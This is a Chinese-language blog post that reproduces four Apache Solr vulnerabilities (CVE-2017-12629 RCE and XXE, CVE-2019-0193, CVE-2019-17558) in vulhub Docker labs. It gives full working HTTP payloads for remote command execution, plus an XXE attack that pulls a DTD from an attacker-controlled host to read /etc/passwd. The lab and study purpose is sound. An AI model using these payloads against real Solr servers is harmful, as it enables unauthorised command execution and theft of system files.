当前位置:   article > 正文

Apache Solr 漏洞总结_solr历史漏洞

solr历史漏洞

目录

 

Apache Solr简介

漏洞复现

 CVE-2017-12629  命令执行漏洞

 CVE-2017-12629 XML 实体注入漏洞

 CVE-2019-0193 命令执行漏洞

 CVE-2019-17558 命令执行漏洞


Apache Solr简介

 Solr是一个高性能,采用Java5开发,基于Lucene的全文搜索服务器。Solr是一个独立的企业级搜索应用服务器,很多企业运用solr开源服务。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。它的主要特性包括:高效、灵活的缓存功能,垂直搜索功能,高亮显示搜索结果,通过索引复制来提高可用性,提 供一套强大Data Schema来定义字段,类型和设置文本分析,提供基于Web的管理界面等。

漏洞复现

 CVE-2017-12629  命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2017-12629-RCE/
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

 

影响范围

Apache Solr < 7.1

漏洞复现

1.利用burp抓包,发送以下数据包,记得修改为自己网站的地址

  1. POST /solr/demo/config HTTP/1.1
  2. Host: 192.168.31.128:8983
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Length: 161
  8. {"add-listener":{"event":"postCommit","name":"newlistener3","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c", "touch /tmp/hello"]}}

2.我们根据burp的响应可以看到命令执行成功

3.然后我们执行更新代码

  1. POST /solr/demo/update HTTP/1.1
  2. Host: 192.168.31.128:8983
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/json
  8. Content-Length: 19
  9. [{"id":"test"}]

4.我们根据burp的响应可以看到更新成功

5.然后我们进入/root/vulhub/solr/CVE-2017-12629-RCE目录下执行命令,看到文件创建成功

  • docker-compose exec slor ls /tmp

 

CVE-2017-12629 XML 实体注入漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2017-12629-XXE/
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

 

影响范围

Apache Solr < 7.1

漏洞复现

 1.在攻击机的网站根目录下生成一个包含以下内容的do.dtd文件,并开启apache服务

  1. <!ENTITY % file SYSTEM "file:///etc/passwd">
  2. <!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

2.然后访问目标网站,利用burp抓包

3.,构建有以下信息组成的特殊的payload,代码中的"http%3a%2f%2f192.168.31.128%2fdo.dtd"是我攻击机网站下的do.dtd文件地址,一定要换成自己的。

  1. GET /solr/demo/select?q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%
  2. 3a%2f%2f192.168.31.128%2fdo.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt
  3. =xml&defType=xmlparser HTTP/1.1
  4. Host: your-ip:8983
  5. Accept: */*
  6. Accept-Language: en
  7. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  8. Connection: close

4.利用burp的Repeater模块发送此payload,可以看到成功查看目标passwd文件

 

CVE-2019-0193 命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2019-0193/
  • docker-compose up -d
  • docker-compose exec solr bash bin/solr create_core -c test -d example/example-DIH/solr/db
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

影响范围

Apache Solr < 8.2.0

漏洞复现

1.首先打开刚刚创建好的`test`核心,选择Dataimport功能并选择debug模式,打开Configuration并点击Debug-Mode,填写以下POC:

  1. <dataConfig>
  2. <dataSource type="URLDataSource"/>
  3. <script><![CDATA[
  4. function poc(){ java.lang.Runtime.getRuntime().exec("touch /tmp/success");
  5. }
  6. ]]></script>
  7. <document>
  8. <entity name="stackoverflow"
  9. url="https://stackoverflow.com/feeds/tag/solr"
  10. processor="XPathEntityProcessor"
  11. forEach="/feed"
  12. transformer="script:poc" />
  13. </document>
  14. </dataConfig>

2.点击Execute,执行此代码,然后我们用burp抓包,查看请求的路径,以及其他一些信息。

3.切换到/root/vulhub/solr/CVE-2019-0193目录下,执行`docker-compose exec solr ls /tmp`,可见`/tmp/success`已成功创建

 

CVE-2019-17558 命令执行漏洞

环境搭建

  • cd /root/vulhub/solr/CVE-2019-17558
  • docker-compose up -d
  • 命令执行成功后,需要等待一会,之后访问`http://your-ip:8983/`即可查看到Apache solr的管理页面,无需登录。

 

影响范围

Apache Solr < 8.3.1

Apache Solr > ​​​​​​​5.0.0 

漏洞复现

1.默认情况下`params.resource.loader.enabled`配置未打开,无法使用自定义模板。我们先通过如下API获取所有的核心:

  • http://your-ip:8983/solr/admin/cores?indexInfo=false&wt=json
  • vulhub中的核心为demo,这个核心名称确定了下面POST请求包的路径

​​​​​​​

2.然后利用burp抓包构造以下payload,请求开启"params.resource.loader.enabled"

  1. ```
  2. POST /solr/demo/config HTTP/1.1
  3. Host: IP:8983
  4. Content-Type: application/json
  5. Content-Length: 259
  6. {
  7. "update-queryresponsewriter": {
  8. "startup": "lazy",
  9. "name": "velocity",
  10. "class": "solr.VelocityResponseWriter",
  11. "template.base.dir": "",
  12. "solr.resource.loader.enabled": "true",
  13. "params.resource.loader.enabled": "true"
  14. }
  15. }

2.根据burp响应可知道已成功开启。

3.​​​​​​​然后访问用此payload访问目标网站

  1. ​​​​​​​http://your-ip:8983/solr/demo/select?
  2. q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.
  3. forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+
  4. %23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27i
  5. d%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+
  6. [1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

4.根据burp响应,已成功执行id命令

 

 

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/article/detail/58680
推荐阅读
相关标签
  

闽ICP备14008679号